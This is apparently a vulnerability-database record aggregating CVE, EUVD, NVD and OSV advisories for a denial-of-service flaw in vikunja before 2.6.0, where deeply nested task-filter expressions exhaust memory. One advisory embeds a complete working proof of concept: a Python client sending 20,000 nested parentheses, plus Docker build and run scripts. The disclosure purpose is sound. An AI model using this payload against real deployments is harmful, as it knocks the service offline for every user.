{"id":"CVE-2026-91968","revision":null,"records":[{"revision":"0f9badbed99d4cf99d840efdd91c28e4","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-91968","aliases":[],"title":"vikunja before 2.6.0 Denial of Service via unbounded filter recursion","description":"vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.","state":0,"publishedAt":"2026-09-15T15:18:20.097+00:00","modifiedAt":"2026-09-15T15:56:07.929+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/code.vikunja.io/api\",\n                    \"versions\": [\n                        {\n                            \"version\": \"2.5.0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"2.6.0\"\n                        },\n                        {\n                            \"version\": \"2.6.0\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"},{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-91968","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-91968","identifiers":["CVE-2026-91968"]},"retained":false,"historicalAffected":[]},{"revision":"d300e5483990433cbdd9bc40f7db30fb","observedAt":"2026-11-07T15:24:46.725+00:00","statement":{"source":"euvd","id":"EUVD-2026-78644","aliases":["CVE-2026-91968","GHSA-jfw3-2gcf-23r5","GHSA-xxc3-xpmc-vmvr"],"title":"vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested paren…","description":"vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-78644","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 15, 2026, 3:18:20 PM","dateUpdated":"Sep 15, 2026, 3:56:07 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-78644","identifiers":["EUVD-2026-78644","CVE-2026-91968","GHSA-jfw3-2gcf-23r5","GHSA-xxc3-xpmc-vmvr"]},"retained":false,"historicalAffected":[]},{"revision":"e6a9d87497eb46b191d05a9965cf9850","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-91968","aliases":[],"title":"vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested paren…","description":"vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.","state":0,"publishedAt":"2026-09-15T16:17:53.093+00:00","modifiedAt":"2026-09-16T20:16:09.343+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91968","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-674"],"productCriteria":[],"sourceDates":{"published":"2026-09-15T16:17:53.093","lastModified":"2026-09-16T20:16:09.343"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-91968","identifiers":["CVE-2026-91968"]},"retained":false,"historicalAffected":[]},{"revision":"8abbafb422c74b778dd44c4359935a87","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-jfw3-2gcf-23r5","aliases":[],"title":"Duplicate Advisory: Vikunja: Unbounded nested task-filter recursion permits API process termination","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xxc3-xpmc-vmvr. This link is maintained to preserve external references.\n\n### Original Description\nvikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.","state":2,"publishedAt":"2026-09-15T18:32:30+00:00","modifiedAt":"2026-10-09T21:00:06.3781087+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[],"versions":["2.5.0"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr","https://nvd.nist.gov/vuln/detail/CVE-2026-91968","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"],"sourceUrl":"https://github.com/advisories/GHSA-jfw3-2gcf-23r5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jfw3-2gcf-23r5","identifiers":["GHSA-jfw3-2gcf-23r5"]},"retained":false,"historicalAffected":[]},{"revision":"ea688612d5f74df7af22a72756b6951a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-xxc3-xpmc-vmvr","aliases":["CVE-2026-91968","GO-2026-6759"],"title":"Vikunja: Unbounded nested task-filter recursion permits API process termination","description":"# Unbounded nested task-filter recursion permits API process termination\n\n## Summary\n\nAuthenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Recursive Parser\n- **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString\n- **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.\n- **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026\n- **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested\n\nA single low-privileged network request can terminate the API process and deny service to all users.\n\n## Technical details\n\nThe server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.\n\nAttack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.\n\nRelevant code:\n\n- `pkg/models/task_collection_filter.go:240`\n- `pkg/models/task_collection_filter.go:268`\n- `pkg/models/task_collection_filter.go:274`\n- `pkg/models/task_collection_filter.go:276`\n- `pkg/models/task_collection_filter.go:295`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27.0-alpine\n\nRUN apk add --no-cache bash build-base ca-certificates python3 tzdata\n\nWORKDIR /app\nCOPY . /app\nRUN chmod +x /app/*.sh 2>/dev/null || true\n\n# Target source is supplied only at runtime through /target-repo:ro.\n# This image contains build dependencies and reproduction helpers, not a clone.\n\n```\n\nCreate `reproduction/client.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nBASE = \"http://target:3456\"\n\n\ndef request(method, path, body=None, token=None, expected=None, timeout=30):\n    raw = None if body is None else json.dumps(body).encode()\n    headers = {\"Accept\": \"application/json\"}\n    if body is not None:\n        headers[\"Content-Type\"] = \"application/json\"\n    if token:\n        headers[\"Authorization\"] = \"Bearer \" + token\n    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)\n    try:\n        with urllib.request.urlopen(req, timeout=timeout) as response:\n            status, data = response.status, response.read()\n    except urllib.error.HTTPError as exc:\n        status, data = exc.code, exc.read()\n    print(f\"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}\", flush=True)\n    if expected is not None and status != expected:\n        raise RuntimeError(f\"{method}: got {status}, expected {expected}\")\n    return status, json.loads(data.decode()) if data else {}\n\n\ndef wait_ready():\n    for _ in range(240):\n        try:\n            if request(\"GET\", \"/api/v1/info\")[0] == 200:\n                return\n        except Exception:\n            pass\n        time.sleep(0.25)\n    raise RuntimeError(\"target did not become ready\")\n\n\ndef filter_path(project_id, depth):\n    expression = \"(\" * depth + \"id = 1\" + \")\" * depth\n    path = f\"/api/v2/projects/{project_id}/tasks?filter=\" + urllib.parse.quote(expression, safe=\"\")\n    print(f\"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}\", flush=True)\n    return path\n\n\ndef main():\n    wait_ready()\n    username, password = \"PoC-filter-user\", \"PoC-password-123!\"\n    request(\"POST\", \"/api/v2/register\", {\n        \"username\": username,\n        \"email\": username + \"@example.invalid\",\n        \"password\": password,\n    }, expected=201)\n    _, login = request(\"POST\", \"/api/v2/login\", {\"username\": username, \"password\": password}, expected=200)\n    token = login[\"token\"]\n    _, project = request(\"PUT\", \"/api/v1/projects\", {\"title\": \"PoC filter project\"}, token, 201)\n\n    started = time.monotonic()\n    request(\"GET\", filter_path(project[\"id\"], 1000), token=token, expected=200)\n    print(f\"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s\", flush=True)\n\n    try:\n        status, _ = request(\"GET\", filter_path(project[\"id\"], 20000), token=token, timeout=90)\n        raise RuntimeError(f\"attack unexpectedly returned HTTP {status}\")\n    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:\n        print(f\"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}\", flush=True)\n    print(\"PoC_FILTER_ATTACK_SENT depth=20000\", flush=True)\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except Exception as exc:\n        print(f\"PoC_FILTER_CLIENT=FAIL {exc}\", file=sys.stderr, flush=True)\n        raise\n\n```\n\nCreate `reproduction/prepare.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nmkdir -p /work/repo\ncp -a /target-repo/. /work/repo/\nmkdir -p /work/repo/frontend/dist\ncp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html\n\ncd /work/repo\nCGO_ENABLED=1 go build \\\n  -tags osusergo \\\n  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \\\n  -o /output/vikunja .\nchmod 0755 /output/vikunja\n\nif [[ -f /app/probe.go ]]; then\n  go build -o /output/probe /app/probe.go\n  chmod 0755 /output/probe\nfi\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" && pwd)\"\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"349cd5adbcc831ef08b08e6c9c6d627603c39606\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-reproduction.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nBUILD_DIR=\"${WORKDIR}/build\"\nDATA_DIR=\"${WORKDIR}/data\"\nNETWORK=\"${IMAGE_TAG}-net-$$\"\nTARGET_CONTAINER=\"${IMAGE_TAG}-target-$$\"\n\ncleanup() {\n  docker rm -f \"${TARGET_CONTAINER}\" >/dev/null 2>&1 || true\n  docker network rm \"${NETWORK}\" >/dev/null 2>&1 || true\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"${BUILD_DIR}\" \"${DATA_DIR}/files\"\nchmod 0777 \"${BUILD_DIR}\" \"${DATA_DIR}\" \"${DATA_DIR}/files\"\necho \"[PoC] cloning and pinning target ${TARGET_REF}\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\necho \"[PoC] building helper image ${IMAGE_TAG}\"\ndocker build -t \"${IMAGE_TAG}\" \"${SCRIPT_DIR}\"\ndocker run --rm -v \"${TARGET_REPO_DIR}:/target-repo:ro\" -v \"${BUILD_DIR}:/output\" \"${IMAGE_TAG}\" /app/prepare.sh\ndocker network create \"${NETWORK}\" >/dev/null\ndocker run --detach --name \"${TARGET_CONTAINER}\" \\\n  --network \"${NETWORK}\" --network-alias target \\\n  --memory 512m --memory-swap 512m --pids-limit 256 \\\n  -v \"${BUILD_DIR}/vikunja:/app/vikunja:ro\" --tmpfs /data:rw,exec,mode=1777 \\\n  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \\\n  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \\\n  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \\\n  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \\\n  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \\\n  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \\\n  \"${IMAGE_TAG}\" /app/vikunja web >/dev/null\n\nset +e\nOUTPUT=\"$(docker run --rm --network \"${NETWORK}\" \"${IMAGE_TAG}\" python3 /app/client.py 2>&1)\"\nCLIENT_STATUS=$?\nset -e\nprintf '%s\\n' \"${OUTPUT}\"\nfor _ in $(seq 1 80); do\n  STATE=\"$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' \"${TARGET_CONTAINER}\")\"\n  [[ \"${STATE}\" != \"false 0 true\" ]] && break\n  sleep 0.25\ndone\nSTATE=\"$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' \"${TARGET_CONTAINER}\")\"\necho \"PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}\"\nif ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<\"${OUTPUT}\" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<\"${OUTPUT}\" || [[ \"${STATE}\" != \"true 137 false\" ]]; then\n  echo \"[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination\" >&2\n  exit 1\nfi\necho \"PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137\"\necho \"[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process\"\n\n```\n\nCreate `reproduction/frontend-placeholder.html`:\n\n```html\n<!doctype html><title>PoC backend reproduction placeholder</title>\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.\n\n**Observed:** Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.\n\n**Verification and controls:** The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.\n\nObserved evidence:\n\n- depth=1000 target_bytes=6044: HTTP 200\n- depth=20000 target_bytes=120044: RemoteDisconnected\n- target container: OOMKilled=true, ExitCode=137\n- PoC_FILTER_RECURSION=PASS\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.","state":0,"publishedAt":"2026-10-09T20:53:03+00:00","modifiedAt":"2026-10-19T21:40:57.3522453+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.5.0"},{"kind":"fixed","version":"2.6.0"}]}],"versions":["2.5.0"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr","https://nvd.nist.gov/vuln/detail/CVE-2026-91968","https://github.com/go-vikunja/vikunja/pull/3688","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"],"sourceUrl":"https://github.com/advisories/GHSA-xxc3-xpmc-vmvr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xxc3-xpmc-vmvr","identifiers":["GHSA-xxc3-xpmc-vmvr","CVE-2026-91968","GO-2026-6759"]},"retained":false,"historicalAffected":[]},{"revision":"40270784510b4ccb93912e2537c227b0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6759","aliases":["CVE-2026-91968","GHSA-xxc3-xpmc-vmvr"],"title":"Vikunja: Unbounded nested task-filter recursion permits API process termination in code.vikunja.io/api","description":"Vikunja: Unbounded nested task-filter recursion permits API process termination in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api from v2.5.0 before v2.6.0.","state":0,"publishedAt":"2026-10-19T21:08:26+00:00","modifiedAt":"2026-10-19T21:31:38.312582+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr","https://nvd.nist.gov/vuln/detail/CVE-2026-91968","https://github.com/go-vikunja/vikunja/pull/3688","https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6759","license":"OSV · upstream source license applies","key":"osv:GO-2026-6759","identifiers":["GO-2026-6759","CVE-2026-91968","GHSA-xxc3-xpmc-vmvr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8442875+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8442884+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-4b0775bb0fc73c3ceeed66f8f17640894d61d654f97ee9386046b283ad9f9876","complete":true,"records":421100,"lastAttemptAt":"2026-11-08T14:04:21.1432513+00:00","lastSuccessAt":"2026-11-08T14:04:21.1228768+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.1432513+00:00","snapshotPublishedAt":"2026-11-08T13:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T14:04:47.6384375+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8452187+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8452194+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ceefbd28b79c4b75ac56c9c678246411","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T14:04:46.9956646+00:00","lastSuccessAt":"2026-11-08T14:04:46.992+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:46.992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T14:04:21.5047325+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.5047325+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T14:04:21.2941446+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.2941446+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T14:04:21.6167179+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.6167179+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T14:04:21.3943214+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.3943214+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}